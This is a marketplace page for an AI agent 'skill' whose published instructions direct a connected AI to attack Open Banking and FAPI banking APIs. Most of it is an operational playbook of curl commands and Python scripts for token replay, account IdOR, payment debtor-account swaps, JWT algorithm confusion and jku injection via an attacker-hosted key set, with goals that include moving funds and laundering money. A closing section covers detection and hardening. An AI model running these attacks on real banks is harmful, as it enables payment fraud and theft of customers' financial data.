Open Banking Attack Skill

SkillSecurity

Open Banking / PSD2 / Open Finance attacks — FAPI (Financial-grade API), OpenID Connect for Financial APIs, OAuth2 PKCE, Strong Customer Authentication (SCA) bypass, AIS/PIS/CBPII API abuse, payment redirection, consent manipulation. Covers UK Open Banking, US FDX, Brazil Open Finance, India Account Aggregator, Singapore MAS APIX, Australia CDR. Includes 2024-2025 incidents (Token Hijacking, IdOR on AIS endpoints, PIS redirect manipulation).

Available today. Use it from your connected AI after setup.

Connect ahel once, and every AI you use reads what you have installed.

Then ask your AI: use the Open Banking Attack Skill skill

What this skill tells your AI

The instructions your AI receives, as published by brucesongs/kali-claw in skills/open-banking-attack/SKILL.md and read by ahel’s review.

Red-team operations against Open Banking / Open Finance infrastructure — the modern OAuth2/FAPI stack that powers UK Open Banking, PSD2, Brazil Open Finance, US FDX, India Account Aggregator, and more. Targets: TPPs (Third-Party Providers), banks (ASPSPs), consent APIs, and the customer journey from consent → data access → payment initiation.

Summary

Open Banking (formerly PSD2) is the API-driven banking standard that lets customers share account data with Third-Party Providers (TPPs) and initiate payments via API. As of 2024-2026:

  • UK Open Banking: ~10M active users, 400+ regulated TPPs
  • EU PSD2/PSD3: every EU bank exposes AIS/PIS APIs
  • Brazil Open Finance: 800M+ API calls/month
  • India Account Aggregator: 1.4B+ AA transactions
  • US FDX: 200M+ accounts accessible via FDX API
  • Singapore MAS APIX: cross-border pilots
  • Australia CDR: Consumer Data Right, mandatory for banks

The standard stack is:

  • FAPI 2.0 (Financial-grade API) — OAuth2 + OIDC profile for finance
  • MTLS sender-constrained tokens — prevents token theft
  • DPoP (Demonstration of Proof-of-Possession) — JWT-bound tokens
  • PAR (Pushed Authorization Requests) — request object by reference
  • JARM (OAuth2 Authorization Response Mode) — JWT response
  • JWS / JWE — signed and encrypted requests/responses

But implementation is uneven. This skill covers the realistic attack surface:

  • SCA (Strong Customer Authentication) bypass — redirect URI manipulation, app-to-app fraud
  • AIS (Account Information Service) abuse — IdOR on account endpoints, consent scope escalation
  • PIS (Payment Initiation Service) attacks — debtor account swap, creditor account manipulation
  • Consent manipulation — re-using consents, forging consent IDs
  • OAuth2 profile attacks — PKCE bypass, state reuse, code interception
  • JWT signature forgery — alg confusion, jku injection
  • TPP onboarding fraud — eIDAS cert theft, sandbox-to-prod escalation
  • App-to-app (a2a) payment fraud — redirect manipulation
  • Open Banking Screen Scraping vs API scrapers

Distinct from adjacent skills:

SkillScope
api-securityGeneric REST API attacks (BOLA, BFLA, mass assignment)
web-auth-bypassWeb auth (cookie, session, CSRF)
crypto-attacksAlgorithm-level (RSA, AES, signatures)
open-banking-attack (this)Financial-grade OAuth2 / FAPI / SCA / AIS / PIS stack

Use Cases

Reconnaissance & Discovery

  1. Identify ASPSP (Account Servicing Payment Services Provider) — bank's Open Banking endpoints
  2. Discover OIDC / FAPI endpoints via .well-known/openid-configuration
  3. Enumerate TPPs in registry (FCA registry for UK, OBIE for Brazil)
  4. Map consent APIs/consents, /consents/{id}, /payments
  5. Identify SCA flows — redirect vs decoupled vs embedded
  6. Locate FAPI profile — FAPI 1.0 vs 2.0

Initial Access

  1. TPP registration fraud — register as TPP, get certs, test in sandbox
  2. eIDAS QWAC/QSeal cert theft — leaked from compromised TPP
  3. Compromised customer OAuth2 flow — code interception via redirect URI manipulation
  4. App-to-app (a2a) payment interception — pre-fund scam
  5. Phishing for Open Banking consent — fake TPP consent page
  6. Compromised TPP — supply chain via TPP-ASPSP integration

Privilege Escalation

  1. Consent scope escalation — requested accounts but accessed payments
  2. AIS → PIS pivot — use AIS consent to initiate payments
  3. Single-account consent → multi-account access — IdOR on /accounts/{id}
  4. Consent re-use across TPPs — consent IDs not scoped to TPP
  5. Refresh token abuse — infinite token lifetime via refresh loop

Persistence

  1. Long-lived consentrecurringIndicator: true, validToDate: 2099-12-31
  2. Silent refresh token rotation — keep session alive without customer
  3. Consent refresh without re-SCA — exploit SCA exemption rules
  4. Backdoor TPP registration — register TPP with attacker cert

Defense Evasion

  1. PAR request object obfuscation — JWT with complex nested claims
  2. JWT alg confusion — HS256 with attacker HMAC key
  3. JARM-only response mode — hide response in JWT
  4. MTLS-bypassed endpoints — find endpoints that don't enforce mTLS

Collection & Exfiltration

  1. AIS bulk read/accounts/{id}/transactions for years of history
  2. Consented balances/balances for all accounts under consent
  3. Beneficiary lists/accounts/{id}/beneficiaries
  4. Standing orders/accounts/{id}/standing-orders
  5. Direct debits/accounts/{id}/direct-debits

Impact

  1. Unauthorized payment initiation — PIS attack moves funds
  2. Account takeover — AIS + beneficiary swap + PIS
  3. Mass account info harvest — broad TPP access across customers
  4. Customer privacy violation — bulk AIS read
  5. Money laundering facilitation — PIS for layering

Core Tools

Open Banking Standards (Targets)

StandardRegionNotes
FAPI 1.0 BaselineUK, EU, BROAuth2 profile for finance
FAPI 1.0 AdvancedUK, EUmTLS or DPoP sender-constrained
FAPI 2.0UK, EU, BRSecurity profile (2024+)
FAPI CIBAEUClient-Initiated Backchannel Authentication
OIDC for FAPIGlobalIdentity layer
UK OBIEUKUK Open Banking Implementation Entity
PSD2 / PSD3EUPayment Services Directive
RTSEURegulatory Technical Standards on SCA
OB BRBrazilOpen Finance Brazil
FDXUSFinancial Data Exchange
India AAIndiaAccount Aggregator
MAS APIXSingaporeCross-border pilots
CDRAustraliaConsumer Data Right

Roles (in scope as targets)

RoleAcronymDescription
Account Servicing PSPASPSPThe bank
Third-Party ProviderTPPAPI consumer
Payment Initiation PSPPISPPIS provider
Account Information PSPAISPAIS provider
Card-Based Payment IIPCBPIIFunds confirmation
Payment Instrument IssuerPIIFor card-based payments

Offensive Toolkit

# OAuth2 / OIDC
httpx -u https://bank.example.com/.well-known/openid-configuration -status-code -title
curl -s https://bank.example.com/.well-known/openid-configuration | jq .

# OAuth2 flow inspection
mitmproxy --mode reverse:https://tpp.example.com
burpsuite

# JWT analysis
jwt-tool $(cat token.jwt) -X a  # algorithm confusion
jwt-tool $(cat token.jwt) -T   # tamper
jwt_tool $(cat token.jwt) -X k # key confusion

# Token replay
curl -sk https://bank.example.com/open-banking/v3.1/aisp/accounts \
  -H "Authorization: Bearer $TOKEN" \
  --cert client.crt --key client.key

# Consent enum
curl -sk https://bank.example.com/open-banking/v3.1/pisp/domestic-payment-consents \
  -H "Authorization: Bearer $TOKEN" \
  -d @consent.json

# Open Banking RFC tools
oauth2-proxy --config tpp.cfg
oidc-debugger

Methodology

Phase 1 — Reconnaissance

# Discover Open Banking endpoints via well-known
curl -s https://bank.example.com/.well-known/openid-configuration | jq .

# Output includes:
# - authorization_endpoint
# - token_endpoint
# - userinfo_endpoint
# - jwks_uri
# - scopes_supported
# - code_challenge_methods_supported (should include S256 for FAPI)
# - request_object_signing_alg_values_supported (should include PS256)

# Check FAPI profile support
curl -s https://bank.example.com/.well-known/openid-configuration | jq '.scopes_supported'

# UK Open Banking: well-known URLs follow pattern
curl -s https://matls-auth.example.com/.well-known/openid-configuration
curl -s https://api.example.com/open-banking/v3.1/aisp/accounts

Phase 2 — TPP Registration

To legitimately test Open Banking, you need a TPP identity:

  1. Register sandbox account on bank's developer portal
  2. Generate eIDAS QWAC + QSeal certs (sandbox)
  3. Register OAuth2 client (TPP onboarding)
  4. Get client_id, client_secret, SSA (Software Statement Assertion)
# Register TPP (UK OBIE pattern)
curl -X POST https://register.example.com/v1.1/register/ \
  -H 'Content-Type: application/jwt' \
  -d @ssa.jwt

Phase 3 — Consent Flow Testing

Test the AIS consent flow:

  1. AIS client creates consent via API
  2. Bank returns consent ID
  3. Customer redirected to bank for SCA
  4. Customer approves consent
  5. Bank returns authorization code
  6. TPP exchanges code for access token
  7. TPP uses token to read accounts

Phase 4 — SCA Bypass

Try to skip SCA:

  • Contactless exemption abuse (low-value payment without SCA)
  • Trusted beneficiary list abuse
  • Corporate payment SCA exemption abuse
  • Redirect URI manipulation to capture code without SCA completion

Phase 5 — AIS Abuse

With valid AIS consent:

  1. Enumerate account IDs (IdOR)
  2. Read transactions beyond consent scope
  3. Read balances on accounts not in consent
  4. Read beneficiary lists, standing orders, direct debits

Phase 6 — PIS Abuse

With PIS consent:

  1. Initiate payment to attacker-controlled creditor
  2. Modify debtor account after consent
  3. Modify amount after consent
  4. Chain to multiple payments

Phase 7 — Token Abuse

Test access token security:

  • mTLS enforcement (does token work without cert?)
  • DPoP enforcement (does token work without DPoP proof?)
  • Token replay across endpoints
  • Refresh token abuse

Practical Steps

Step A — Discover OIDC config

curl -s https://auth.example.com/.well-known/openid-configuration | jq . > oidc-config.json

# Inspect
jq '. | keys' oidc-config.json
jq '.request_object_signing_alg_values_supported' oidc-config.json
# Expect: ["PS256", "ES256"] for FAPI
# If "none" — FAPI not enforced

jq '.code_challenge_methods_supported' oidc-config.json
# Expect: ["S256"] for FAPI
# If "plain" — PKCE downgrade possible

jq '.scopes_supported' oidc-config.json
# Expect: openid, accounts, payments, fundsconfirmations

Step B — Test PAR (Pushed Authorization Requests)

# FAPI requires PAR (pushed authorization)
curl -sk -X POST https://auth.example.com/par \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --cert client.crt --key client.key \
  -d 'response_type=code&client_id=REPLACE_WITH_YOUR_CLIENT_ID&redirect_uri=https://tpp.example.com/cb&scope=accounts&code_challenge=REPLACE_WITH_YOUR_CHALLENGE&code_challenge_method=S256&state=abc123'

# Returns: request_uri
# If PAR not enforced — old OAuth2 flow with request object still allowed (downgrade)

Step C — Test mTLS sender-constrained tokens

# Get token with mTLS cert
TOKEN=$(curl -sk -X POST https://auth.example.com/token \
  --cert client.crt --key client.key \
  -d 'grant_type=authorization_code&code=...&redirect_uri=...&client_id=...' | jq -r .access_token)

# Use token WITH mTLS cert
curl -sk https://api.example.com/open-banking/v3.1/aisp/accounts \
  -H "Authorization: Bearer $TOKEN" \
  --cert client.crt --key client.key

# Now try WITHOUT mTLS cert (token should fail)
curl -sk https://api.example.com/open-banking/v3.1/aisp/accounts \
  -H "Authorization: Bearer $TOKEN"

# If second succeeds — mTLS not enforced, token replayable

Step D — AIS IdOR

# With consent for account A
TOKEN=...
ACCOUNT_A=REPLACE_WITH_YOUR_ACCOUNT_A_ID

# Try to access account B (not in consent)
ACCOUNT_B=REPLACE_WITH_YOUR_ACCOUNT_B_ID
curl -sk "https://api.example.com/open-banking/v3.1/aisp/accounts/$ACCOUNT_B/transactions" \
  -H "Authorization: Bearer $TOKEN" \
  --cert client.crt --key client.key

# If 200 OK — IdOR, account B accessible
# If 403 — proper isolation

Step E — PIS debtor account manipulation

# Create consent
import requests
consent = {
    "Data": {
        "Initiation": {
            "InstructionIdentification": "kali-1",
            "EndToEndIdentification": "kali-1",
            "InstructedAmount": {"Amount": "1.00", "Currency": "GBP"},
            "CreditorAccount": {
                "SchemeName": "UK.OBIE.SortCodeAccountNumber",
                "Identification": "12345612345678"
            },
            "DebtorAccount": {
                "SchemeName": "UK.OBIE.SortCodeAccountNumber",
                "Identification": "REPLACE_WITH_YOUR_CUSTOMER_SORT_ACCT"  # customer's account
            }
        }
    },
    "Risk": {}
}

r = requests.post(
    'https://api.example.com/open-banking/v3.1/pisp/domestic-payment-consents',
    json=consent,
    headers={'Authorization': f'Bearer {token}', 'Content-Type': 'application/json'},
    cert=('client.crt', 'client.key')
)

consent_id = r.json()['Data']['ConsentId']
print(f'Consent: {consent_id}')

# After SCA, modify debtor account in payment submission
submission = {
    "Data": {
        "ConsentId": consent_id,
        "Initiation": {
            ...,
            "DebtorAccount": {
                "SchemeName": "UK.OBIE.SortCodeAccountNumber",
                "Identification": "ATTACKER_SORT_ACCT"  # swapped
            }
        }
    }
}

r = requests.post(
    'https://api.example.com/open-banking/v3.1/pisp/domestic-payments',
    json=submission,
    headers={'Authorization': f'Bearer {token}'},
    cert=('client.crt', 'client.key')
)
# If payment initiated from wrong account — debtor account manipulation succeeded

Step F — JWT alg confusion

# Get bank's public key
curl -s https://auth.example.com/jwks | jq '.keys[0]'

# Convert to RSA PEM
echo '... modulus ...' | base64 -d > modulus.bin
python3 -c "
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
n = int.from_bytes(open('modulus.bin', 'rb').read(), 'big')
e = 65537
pub = rsa.RSAPublicNumbers(e, n).public_key()
pem = pub.public_bytes(encoding=serialization.Encoding.PEM,
                       format=serialization.PublicFormat.SubjectPublicKeyInfo)
open('bank-pub.pem', 'wb').write(pem)
"

# Use JWT tool for alg confusion
jwt_tool $TOKEN -X a -S hs256 -k bank-pub.pem

# If success — alg confusion, signature forged

Step G — jku header injection

# Craft JWT with jku pointing to attacker JWKS
import jwt
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

# Generate attacker RSA key
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
priv_pem = priv.private_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PrivateFormat.TraditionalOpenSSL,
    encryption_algorithm=serialization.NoEncryption()
)
pub = priv.public_key()
pub_jwk = {  # JWK format
    'kty': 'RSA',
    'kid': 'kali-1',
    'n': '...',
    'e': 'AQAB'
}

# Serve attacker JWKS
# https://attacker.example.com/jwks.json

# Craft JWT with jku header
token = jwt.encode(
    {'sub': 'admin', 'groups': ['admin']},
    priv_pem,
    algorithm='PS256',
    headers={'jku': 'https://attacker.example.com/jwks.json', 'kid': 'kali-1'}
)
print(token)

# Bank validates jku URL → fetches attacker JWKS → verifies with attacker pub key

Step H — App-to-app (a2a) payment interception

# Customer uses a2a payment (e.g., pay small business via Open Banking)
# Customer's banking app receives redirect from TPP
# Intercept via mitmproxy

mitmproxy --mode regular
# Or Burp Suite

# Capture a2a redirect
# Look for:
# GET https://tpp.example.com/return?code=abc&state=xyz
# Customer taps "Pay" in banking app → bank sends auth code to TPP

# If redirect can be replayed → fraudulent payment

Defense Perspective

Detection

ASPSP (Bank)

  • Audit consent creation / approval / usage
  • Alert on AIS read beyond consent scope (multi-account reads)
  • Alert on PIS to new creditor (above customer baseline)
  • Alert on rapid consent creation across many customers (TPP scanning)
  • Detect mTLS-mismatched token use (token from cert A used with cert B)

TPP

  • Audit customer consent approval / withdrawal
  • Detect unexpected eIDAS cert use (cert from different TPP)
  • Audit token creation / refresh patterns

Customer-side

  • Banking app: alert on a2a payment to new payee
  • Push notification for any AIS/PIS event

Hardening

  1. FAPI 2.0 Security Profile — full enforcement
  2. PAR — Pushed Authorization Requests mandatory
  3. mTLS sender-constrained tokens — no exceptions
  4. JARM — JWT responses prevent query string tampering
  5. DPoP — backup if mTLS unavailable
  6. JWT alg allowlist — only PS256/ES256, no none
  7. JWKS URL allowlist — bank's JWKS only
  8. Consent ID cross-TPP check — consent ID tied to TPP client_id
  9. SCA for every payment — no exemptions for new payees
  10. Consent limits — max 12 months, renewal requires re-SCA

Incident Response

When Open Banking compromise suspected:

  1. Revoke TPP certs — eIDAS QWAC/QSeal rotation
  2. Revoke all consents — bank-wide consent revocation
  3. Block affected customer accounts — pause PIS
  4. Audit recent payments — last 30 days, flag for review
  5. Notify regulator — FCA (UK), BaFin (DE), etc.
  6. Notify affected customers — within 72h (GDPR)
  7. Forensics — log analysis for token replay patterns
  8. Post-mortem — profile adherence audit, JWKS rotation

Detection Methods

Open Banking API Audit

  • TPP anomaly: Third-Party Provider making unusual API calls; new TPP registration with anomalous pattern.
  • SCA bypass: Strong Customer Authentication bypassed via legacy auth; consent reuse.
  • Consent abuse: Consent granted for one service but used for another; consent for AIS used to initiate PIS.
  • eIDAS QWAC forgery: TLS certificate from TPP with mismatched organization.

SIEM Detection Rules

  • Splunk SPL: index=openbanking sourcetype=ob:api | stats dc(endpoint) by tpp_id | where dc > 10
  • API gateway logging: Open Banking API gateway (Kong, Apigee) with custom security policies.

Defense Evasion Techniques

TPP Compromise Stealth

  • Use legitimate TPP credentials: Steal TPP eIDAS credentials; appears as legitimate TPP.
  • AIS to PIS pivot: Use AIS (read-only) consent to gather data; pivot to PIS (payment) via separate flow.
  • SCA exemption abuse: Use low-value payment exemption (≤30 EUR); avoid SCA threshold.

FAPI Bypass

  • PAR (Pushed Authorization Request) downgrade: Force fallback to non-PAR; bypass request validation.
  • JARM (JWT Authorization Response Mode) manipulation: Modify response mode to leak auth code.
  • DPoP (Demonstrating Proof-of-Possession) bypass: Some implementations don't strictly validate DPoP token binding.
  • mTLS bypass: Exploit mTLS implementation flaws; some APIs don't strictly validate client cert.

References

Signals

GitHub stars
71
Forks
18
Last commit
Sep 2026
Advanced
Catalog kind
skill
Gateway key
open-banking-attack
Source
github.com/brucesongs/kali-claw